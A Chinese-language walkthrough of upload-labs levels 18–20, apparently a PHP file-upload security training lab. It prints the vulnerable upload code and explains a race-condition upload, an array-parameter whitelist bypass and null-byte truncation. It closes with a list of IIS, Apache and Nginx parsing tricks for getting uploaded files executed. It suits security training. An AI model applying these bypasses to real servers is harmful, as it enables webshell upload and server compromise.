Pass18 条件竞争图片马 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file' ]['name' ], $_FILES['upload_file' ]['tmp_name' ], $_FILES['upload_file' ]['size' ],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1 : $is_upload = true ; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload { var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); function upload ( $dir ) { $ret = $this ->isUploadedFile(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } $ret = $this ->setDir( $dir ); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } $ret = $this ->checkExtension(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } $ret = $this ->checkSize(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } } $ret = $this ->move(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } } return $this ->resultUpload( "SUCCESS" ); } };
对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功
Pass-19 00截断POST方式 与12题同样的方式
Pass-20 数组加/.绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $is_upload = false ; $msg = null ; if (!empty ($_FILES['upload_file' ])){ $allow_type = array ('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array($_FILES['upload_file' ]['type' ],$allow_type)){ $msg = "禁止上传该类型文件!" ; }else { $file = empty ($_POST['save_name' ]) ? $_FILES['upload_file' ]['name' ] : $_POST['save_name' ]; if (!is_array($file)) { $file = explode('.' , strtolower($file)); } $ext = end($file); $allow_suffix = array ('jpg' ,'png' ,'gif' ); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset($file) . '.' . $file[count($file) - 1 ]; $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
首先end函数取所post参数数组中的最后一个值,$file_name = reset($file) . ‘.’ . $file[count($file) - 1] 我们可以post一个参数名为一个[0]一个[2],然后$file[count($file) - 1]就为空,$file_name最终就为reset($file)即$file[0],就可以绕过判断
抓包:
文件类型修改为图片类型:
漏洞利用:
上传成功:
看了其他大佬的总结,还有其他的一些未见过的解析漏洞 IIS 6.0 IIS 6.0 解析利用又三种:
1.目录解析 建立xx.asp为名称的文件夹,将asp文件放入,访问/xx.asp/xx.jpg,其中xx.jpg可以为任意文件后缀,即可解析
2.文件解析 后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
3.默认解析 IIS6.0 默认的可执行文件除了asp还包含这三种
1 2 3 4 /xxx.asa /xxx.cer /xxx.cdx /xxx.apsx
IIS 7.0/7.5 在正常图片URL后添加 /.php,可以解析为php
Apache 一般都在2.3.x以下版本,但是有时候配置文件的不同也会导致不安全
后缀解析:test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3则会被解析为php
Nginx Nginx <8.03畸形解析漏洞 直接在正常图片URL后添加/.php Nginx <=0.8.37 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件